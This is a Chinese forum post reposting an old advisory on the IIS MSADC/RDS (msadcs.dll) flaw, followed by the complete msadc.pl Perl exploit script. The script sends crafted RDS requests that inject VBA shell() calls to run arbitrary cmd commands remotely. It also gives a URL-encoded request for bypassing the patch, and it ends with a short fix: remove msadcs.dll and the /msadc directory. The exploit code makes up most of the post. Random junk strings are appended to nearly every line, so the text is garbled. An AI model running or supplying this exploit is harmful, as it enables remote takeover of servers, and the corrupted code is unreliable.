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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) X<P <-e9  
Xq&BL,lS  
涉及程序: OTdijQLY  
Microsoft NT server AyOibnoZ2E  
s&(;  
描述: y,3ZdY"  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 IhYR4?e  
JcA+ztPU  
详细: F!wz{i6\h  
如果你没有时间读详细内容的话,就删除: oSC'b%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll -4& i t:  
有关的安全问题就没有了。 NX.xE W@  
OmO#} k<  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 G7Sw\wW  
"cPg_-n  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 z+yIP ?s}(  
关于利用ODBC远程漏洞的描述,请参看: C?T\5}h  
G+t:]\  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &Xqxuy ]J  
mV$ebFco0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 4n@lrcq(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m(6d3P  
a[(OeVQ5  
这里不再论述。 G~YZ(+V%~  
dkZe.pv$j  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: >m,hna]RZ  
|uqI}6h.  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9ziFjP+1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! <78|~SKAV  
_wS=*-fT  
(^m] 7l  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0f.j W O  
<ak[`]  
#!perl q!eE~O;A  
# aQtd6L+ J  
# MSADC/RDS 'usage' (aka exploit) script a3tcLd|7J  
# 89g a+#7  
# by rain.forest.puppy JfIXv  
# MK=oGzK  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me . : Wf>:  
# beta test and find errors! og5VB  
ehr-o7](  
use Socket; use Getopt::Std; *WQ?r&[_'  
getopts("e:vd:h:XR", \%args); 6FA+q YSV  
5mD8$% \8  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4a+gM._+O  
b-sN#'TDg  
if (!defined $args{h} && !defined $args{R}) { Pwl*5/l  
print qq~ '|[V}K5m/f  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <m]0!ii  
-h <host> = host you want to scan (ip or domain) A iM ukd,  
-d <seconds> = delay between calls, default 1 second i}sAF/  
-X = dump Index Server path table, if available G`Nw]_ Z_  
-v = verbose 1^![8>u"  
-e = external dictionary file for step 5 "w'pIUQ3,  
,PTM'O@aU#  
Or a -R will resume a command session * 9^8NY]  
ahg:mlaob  
~; exit;} A'DFY {  
I)Xf4F S@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]P0%S@]  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &v{#yzM  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} #1DEZ4]jjY  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vW1^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Y 3BJ@sqz  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  $3^M-w  
\yr9j$  
if (!defined $args{R}){ $ret = &has_msadc; p%I'd^}.!  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} i6'=]f'{  
 GfE>?mG  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" d:(Ex^^  
. "cmd /c "; L,[Q/ $S8  
$in=<STDIN>; chomp $in; ny5 P*yWEh  
$command="cmd /c " . $in ; [iub}e0  
S4x9k{Xn  
if (defined $args{R}) {&load; exit;} Q)DEcx-|,  
ca g5w~Px  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .N X9A b  
&try_btcustmr; G% tlV&In  
$[>{s9E  
print "\nStep 2: Trying to make our own DSN..."; &<V U}c^!  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; gwoe1:F:J  
*#T: _  
print "\nStep 3: Trying known DSNs..."; S hI1f  
&known_dsn; .~f )4'T 9  
R^l0Bu]X  
print "\nStep 4: Trying known .mdbs...";  '"B  
&known_mdb; MJXnAIG?2  
Qr$'Q7  
if (defined $args{e}){ e*7O!Z=O  
print "\nStep 5: Trying dictionary of DSN names..."; vB8$Qx\J  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,|A^ <R`  
SGWb*grt  
print "Sorry Charley...maybe next time?\n"; ]<;7ZNG"Y5  
exit; _z@/~M(  
NfV|c~?d  
############################################################################## MzIDeZ  
EN!C5/M{&  
sub sendraw { # ripped and modded from whisker g,Ob/g8uc  
sleep($delay); # it's a DoS on the server! At least on mine... .q9Sg8G  
my ($pstr)=@_; 3Z XAAV  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || LZV-E=`  
die("Socket problems\n"); r1L@p[>  
if(connect(S,pack "SnA4x8",2,80,$target)){ gNB+e5[; 2  
select(S); $|=1; 8z`ZHn3=  
print $pstr; my @in=<S>; qUJ"* )S  
select(STDOUT); close(S); ;g0Q_F@;p  
return @in; Q,3kaR@O  
} else { die("Can't connect...\n"); }} W%L'nR~w$  
wQ+pVu?6_  
############################################################################## rl|'.~mc  
?^Rp" H   
sub make_header { # make the HTTP request e )0 ]WJ  
my $msadc=<<EOT qLEYBv-3  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 "iSY;y o  
User-Agent: ACTIVEDATA ^ Ps!  
Host: $ip FK^xZ?G  
Content-Length: $clen FRQ.ix2  
Connection: Keep-Alive {-4+=7Sg1  
xt^1,V4Ei~  
ADCClientVersion:01.06 }Va((X w  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /wJ#-DZ  
& =[!L0{  
--!ADM!ROX!YOUR!WORLD! @z1QoZ^w  
Content-Type: application/x-varg \zBi-GI7  
Content-Length: $reqlen ZNBowZI  
` UsJaoR#f  
EOT ?Lg<)B9   
; $msadc=~s/\n/\r\n/g; %1i:*~g  
return $msadc;} ojM'8z 0Hn  
32ki ?\P  
############################################################################## ^~~Rto)Y  
wA5Iz{uQO  
sub make_req { # make the RDS request :r q~5hK  
my ($switch, $p1, $p2)=@_; 1-y8Hy_a2  
my $req=""; my $t1, $t2, $query, $dsn; :h(HKMSk1  
Y#F.{ i  
if ($switch==1){ # this is the btcustmr.mdb query ;M~,S^U  
$query="Select * from Customers where City=" . make_shell(); Y_%:%J  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . xuXPVJdi  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <XLae'R  
$g>bp<9v4  
elsif ($switch==2){ # this is general make table query syX?O'xJ  
$query="create table AZZ (B int, C varchar(10))"; DTezG':  
$dsn="$p1";} &|Gg46P7  
H$I~Vz[\yb  
elsif ($switch==3){ # this is general exploit table query r2RJb6  
$query="select * from AZZ where C=" . make_shell(); * :L"#20:R  
$dsn="$p1";} Z<X=00,wg  
eK7A8\;e  
elsif ($switch==4){ # attempt to hork file info from index server y0xBNhev  
$query="select path from scope()"; >=N-P< %  
$dsn="Provider=MSIDXS;";} DT]4C!dh  
RL` E}:V  
elsif ($switch==5){ # bad query 8jz>^.-o  
$query="select"; qyRN0ZB"A^  
$dsn="$p1";} yj:@Fg-3g  
/|v4]t-  
$t1= make_unicode($query); H:DR?'yW  
$t2= make_unicode($dsn); [%K6-\S  
$req = "\x02\x00\x03\x00"; x1 |/  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9y!0WZE{e  
$req.= "\x00\x00" . $t1 ; EE"8s7ZF  
$req.= "\x08\x00" . pack ("S1", length($t2)); l[E^nh>  
$req.= "\x00\x00" . $t2 ; h .Qk{v  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 7!J-/#!  
return $req;} Jqxd92 bI  
"1a;);S=*)  
############################################################################## |ke0G  
-64l f-<  
sub make_shell { # this makes the shell() statement /9_%NR[  
return "'|shell(\"$command\")|'";} l#[Z$+!09  
AS;Sz/YP  
############################################################################## yY#h 1  
EXSJ@k6=8s  
sub make_unicode { # quick little function to convert to unicode }c8nn  
my ($in)=@_; my $out; :?xH)J,imk  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } /h53;$zK  
return $out;} "l&SRX?g  
`rn/H;r!Z  
############################################################################## 89M'klZ   
Q/|.=:~FO  
sub rdo_success { # checks for RDO return success (this is kludge) m1W) PUy  
my (@in) = @_; my $base=content_start(@in); %,[,mW4l   
if($in[$base]=~/multipart\/mixed/){ i]MemM-  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9^/Y7Wp/@  
return 0;} `KZV@t  
N:lE{IvRJ  
############################################################################## ,V1"Typ#<  
_<Ak M"  
sub make_dsn { # this makes a DSN for us b+~_/;Y9  
my @drives=("c","d","e","f"); 6Q:Wo)^!  
print "\nMaking DSN: "; q(n"r0)=  
foreach $drive (@drives) { `NtW+v  
print "$drive: "; vEI{AmogRx  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c0o]O[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" s*rR> D:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); WOn53|GQK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; zQ+Mu^|u+  
return 0 if $2 eq "404"; # not found/doesn't exist {Z c8,jm  
if($2 eq "200") { 6k hBT'n  
foreach $line (@results) { 1hw.gn*JK>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Vit-)o{zr  
} return 0;} EV( F!&  
n3p@duC4  
############################################################################## )%^l+w+&  
~ky;[  
sub verify_exists { KJ+6Y9b1  
my ($page)=@_; 6 /<Hx@r (  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0d+n[Go+S  
return $results[0];} f&CQn.K"  
O[d#-0s  
############################################################################## 1%_RXQVG  
EK# 11@0%  
sub try_btcustmr { Phi5;U!  
my @drives=("c","d","e","f"); QD7KE6KP'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =DdPwr 0Op  
Rrh6-]A  
foreach $dir (@dirs) { %np(z&@wi  
print "$dir -> "; # fun status so you can see progress "s|P,*Xf  
foreach $drive (@drives) { K+)3 LR^  
print "$drive: "; # ditto 6,5h4[eF*  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; o}Grb/LJ  
$reqlenlen=length( "$reqlen" ); 8y27O  
$clen= 206 + $reqlenlen + $reqlen; 'xta/@Sq  
{dxFd-K3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); tMw65Xei6b  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} U5C]zswL  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,\i*vJ#f  
X$UK;O  
############################################################################## ?3~t%Q`  
vb[0H{TT2  
sub odbc_error { '9!_:3[d\]  
my (@in)=@_; my $base;  0J+WCm`  
my $base = content_start(@in); S${%T$>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :fj>JF\[  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vD8pVR+  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %%K3J<5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }Nr6oUn  
return $in[$base+4].$in[$base+5].$in[$base+6];} XncX2E4E  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  Z}t;:yhR  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . +.~K=.O)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 81E EYf  
rCF=m]1zxT  
############################################################################## g)6>=Qo`8E  
(2eS:1+'8  
sub verbose { Z7bJ<TpZ  
my ($in)=@_; ?wHhBh-Q  
return if !$verbose; 85!]N F  
print STDOUT "\n$in\n";} [y8(v ~H  
3: GwX4yW  
############################################################################## CzG[S\{+  
jOT/|k  
sub save { Stw g[K0<  
my ($p1, $p2, $p3, $p4)=@_; R[zN?  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ueJ^Q,-t  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Ug+ K:YUq  
close OUT;} /wEl\Kx  
]){ZL  
############################################################################## F'|K>!H  
}Hb0@ b_  
sub load { /)kJ iV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?lkB{-%rQ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @2T8H  
@p=<IN>; close(IN); }vh <x6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); _FOIMjh%N  
$target= inet_aton($ip) || die("inet_aton problems"); d:hnb)I$*  
print "Resuming to $ip ..."; .#~!w!T  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 8XYxyOl  
if($p[1]==1) { "*HM8\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; :|9vMM^$  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ;"cQ)=s9Y  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); @Y`Z3LiR$  
if (rdo_success(@results)){print "Success!\n";} 'yVe&5?  
else { print "failed\n"; verbose(odbc_error(@results));}} ]A}ZaXd  
elsif ($p[1]==3){ f?:=@35  
if(run_query("$p[3]")){ S!PG7hK2  
print "Success!\n";} else { print "failed\n"; }} v@]SddP,?  
elsif ($p[1]==4){ Z-lhJ<0/Pa  
if(run_query($drvst . "$p[3]")){ kcUn GiP  
print "Success!\n"; } else { print "failed\n"; }} k.b=EX|  
exit;} %~:\f#6  
LCSvw  
############################################################################## G%k&|  
:xHKbWz6j  
sub create_table { 4AzDWK@/  
my ($in)=@_; hdWVvN  
$reqlen=length( make_req(2,$in,"") ) - 28; K6-)l isf  
$reqlenlen=length( "$reqlen" ); 0 \ U*  
$clen= 206 + $reqlenlen + $reqlen; a>l,H#w*vW  
my @results=sendraw(make_header() . make_req(2,$in,"")); Tv1oy%dK  
return 1 if rdo_success(@results); sSfP.R  
my $temp= odbc_error(@results); verbose($temp); L~f~XgQ  
return 1 if $temp=~/Table 'AZZ' already exists/; Dl.UbH }=  
return 0;} a& 0g0n6  
pq r_{  
############################################################################## c BqbbZyUk  
/:]<z6R  
sub known_dsn { U\Y0v.11  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go L+G0/G}O\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  OLIMgc(W  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 842v^ 2  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); q]yw",muT  
!U:&8Le  
foreach $dSn (@dsns) { D} B?~Lls  
print "."; ~ Rk.x +  
next if (!is_access("DSN=$dSn")); ;%d<Uk?  
if(create_table("DSN=$dSn")){ q)9n%- YgP  
print "$dSn successful\n"; 2FaCrc/  
if(run_query("DSN=$dSn")){ bD=H$)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *lA+ -gkK*  
print "Something's borked. Use verbose next time\n";}}} print "\n";} LU;zpXg\  
cY5;~lO  
############################################################################## HI{q#  
F?tWx+N<{  
sub is_access { q6rkp f,Tl  
my ($in)=@_; ,+ IFV  
$reqlen=length( make_req(5,$in,"") ) - 28; S'^ q  
$reqlenlen=length( "$reqlen" ); ;o'r@4^&$R  
$clen= 206 + $reqlenlen + $reqlen; CyLwCS{V\  
my @results=sendraw(make_header() . make_req(5,$in,"")); d+G%\qpzQ  
my $temp= odbc_error(@results); QY4;qA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &k,DAx`rN;  
return 0;} ECi;o1hda  
7w2$?k',-  
############################################################################## V-7l+C5  
uvJHkAi  
sub run_query { tz2=l.1  
my ($in)=@_; mWYrUI  
$reqlen=length( make_req(3,$in,"") ) - 28; ]QHp?Ii1  
$reqlenlen=length( "$reqlen" ); 5,p;b  
$clen= 206 + $reqlenlen + $reqlen; EPn!6W5^  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5- GS@fY  
return 1 if rdo_success(@results); "`cN k26JZ  
my $temp= odbc_error(@results); verbose($temp); W/\VpD) ?;  
return 0;} ;G}  
,x1OQ jtY  
############################################################################## @@^iN~uf  
_f";zd  
sub known_mdb { B<L7`xL  
my @drives=("c","d","e","f","g"); T0dD:sN  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~n@rX=Y)]0  
my $dir, $drive, $mdb; a(6h`GHo  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; @*<0:Q|m  
D|Q7dIZm  
# this is sparse, because I don't know of many (_4DZMf  
my @sysmdbs=( "\\catroot\\icatalog.mdb", C{m%]jKH  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [u!n=ev  
"\\system32\\certmdb.mdb", ?2#'>B  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% y>w;'QR&a  
&~+QPnI>Pm  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", VO eVS&}  
"\\cfusion\\cfapps\\forums\\forums_.mdb", n"RV!{&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ?ckV 2  
"\\cfusion\\cfapps\\security\\realm_.mdb", b4dviYI  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2#:p:R8I>  
"\\cfusion\\database\\cfexamples.mdb", M5w/TN  
"\\cfusion\\database\\cfsnippets.mdb", =K0%bI  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", gIz!~I_U  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", V'{\g|)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", UA*VqK)Y  
"\\cfusion\\database\\smpolicy.mdb", ,DE>:ARZ  
"\\cfusion\\database\cypress.mdb", Jn=;gtD- *  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 2<B'PR-??y  
"\\website\\cgi-win\\dbsample.mdb", C`t @tgT  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", W9w*=W )Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" fWq*Op.]c  
); #these are just V:L%GWU  
foreach $drive (@drives) { DFWO5Y_  
foreach $dir (@dirs){ h_#=f(.'j  
foreach $mdb (@sysmdbs) { u#EcR}=]  
print "."; 2kDY+AN;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ F4G81^H  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9o5D3 d K  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ In_"iEo,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; TyIjDG6tM  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Rs5lL-I  
f%.Ngf9  
foreach $drive (@drives) { [HY r|T  
foreach $mdb (@mdbs) { MAkr9AKb,  
print "."; ^K"BQ~-w  
if(create_table($drv . $drive . $dir . $mdb)){ $O*@Jg=  
print "\n" . $drive . $dir . $mdb . " successful\n"; 3E*m.jX  
if(run_query($drv . $drive . $dir . $mdb)){ [s[ZOi!;I  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; e^\e;>Dh>  
} else { print "Something's borked. Use verbose next time\n"; }}}} Gqd|F>  
} R]X 0D.  
vb]kh _  
############################################################################## uEJ8Lmi  
xA(z/%  
sub hork_idx { lh'S_p8g  
print "\nAttempting to dump Index Server tables...\n"; o5a=>|?p>  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7xeqs q  
$reqlen=length( make_req(4,"","") ) - 28; YS^!'IyG/B  
$reqlenlen=length( "$reqlen" ); O_1[KiZ  
$clen= 206 + $reqlenlen + $reqlen; X8ap   
my @results=sendraw2(make_header() . make_req(4,"","")); b v_ UroTr  
if (rdo_success(@results)){ la+Cra&xL  
my $max=@results; my $c; my %d; mF\!~ag|  
for($c=19; $c<$max; $c++){ a)ry}E =f  
$results[$c]=~s/\x00//g; 4{F1GW  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; V_gKl;Kfe8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 4{kH;~ z$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ~i;{+j6Ho!  
$d{"$1$2"}="";} c$ZV vu  
foreach $c (keys %d){ print "$c\n"; } =^u;uS[IW  
} else {print "Index server doesn't seem to be installed.\n"; }} {V6pC  
G~<UP(G  
############################################################################## 0i_:J  
klJ21j0Bb2  
sub dsn_dict { HCN/|z1Xq  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *z VN6wG{  
while(<IN>){ Ll|_Wd.K,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `?Q p>t  
next if (!is_access("DSN=$dSn")); (|^m9v0:  
if(create_table("DSN=$dSn")){ RN(I}]]a  
print "$dSn successful\n"; &kIeW;X  
if(run_query("DSN=$dSn")){ VGQ~~U7}@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { WChP,hw  
print "Something's borked. Use verbose next time\n";}}} hNN[djR  
print "\n"; close(IN);} /dYv@OU?  
p@G7}'|eyA  
############################################################################## nU_O|l9  
5&n{QE?Um  
sub sendraw2 { # ripped and modded from whisker OtqFI!ns  
sleep($delay); # it's a DoS on the server! At least on mine... kh0cJE\_^  
my ($pstr)=@_; 4uIYX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || EpAgKzVpJ  
die("Socket problems\n"); Z71m(//*}  
if(connect(S,pack "SnA4x8",2,80,$target)){ e7U\gtZ.  
print "Connected. Getting data"; ^-Od*DTL  
open(OUT,">raw.out"); my @in; .}!.4J%q2  
select(S); $|=1; print $pstr; 7_i8'(``  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )cJ>&g4]  
close(OUT); select(STDOUT); close(S); return @in; v3-' G gM  
} else { die("Can't connect...\n"); }} EhHxB fAQ  
en< $.aY  
############################################################################## {Uw 0zC  
=D/zC'l  
sub content_start { # this will take in the server headers O6;"cUv  
my (@in)=@_; my $c; *XTd9E^tXq  
for ($c=1;$c<500;$c++) { tVn?cS  
if($in[$c] =~/^\x0d\x0a/){ R7bG!1SHl  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /g<Oh{o8  
else { return $c+1; }}} 27eG8  
return -1;} # it should never get here actually >u$8Z  
Tzex\]fw  
############################################################################## -)}s{[]d6m  
sE"s!s/  
sub funky { /IpCo  
my (@in)=@_; my $error=odbc_error(@in); ;>?h/tS6  
if($error=~/ADO could not find the specified provider/){ Ki;SONSV~|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; -x//@8"   
exit;} @yuiNj .T  
if($error=~/A Handler is required/){ bT.q@oU  
print "\nServer has custom handler filters (they most likely are patched)\n"; gN=.}$Kfu  
exit;} G>V6{g2Q  
if($error=~/specified Handler has denied Access/){ n"EKVw7Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; aZA ``#p+  
exit;}} ]1!" q40)]  
3%Y:+%VE  
############################################################################## @z@%vr=vX  
~sk p}g]  
sub has_msadc { v=N?(6T  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GDxv2^4  
my $base=content_start(@results); A8Ju+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); glMHT,  
return 0;} Ha@; Sz<R  
T`EV uRJ  
######################## *|A QV:  
;/K2h_=3z  
zU?O)w1'  
解决方案: /}?7Eni  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !__0Vk[s  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )j_El ]?  
?%s>a8w  
拿出来充数 哈哈
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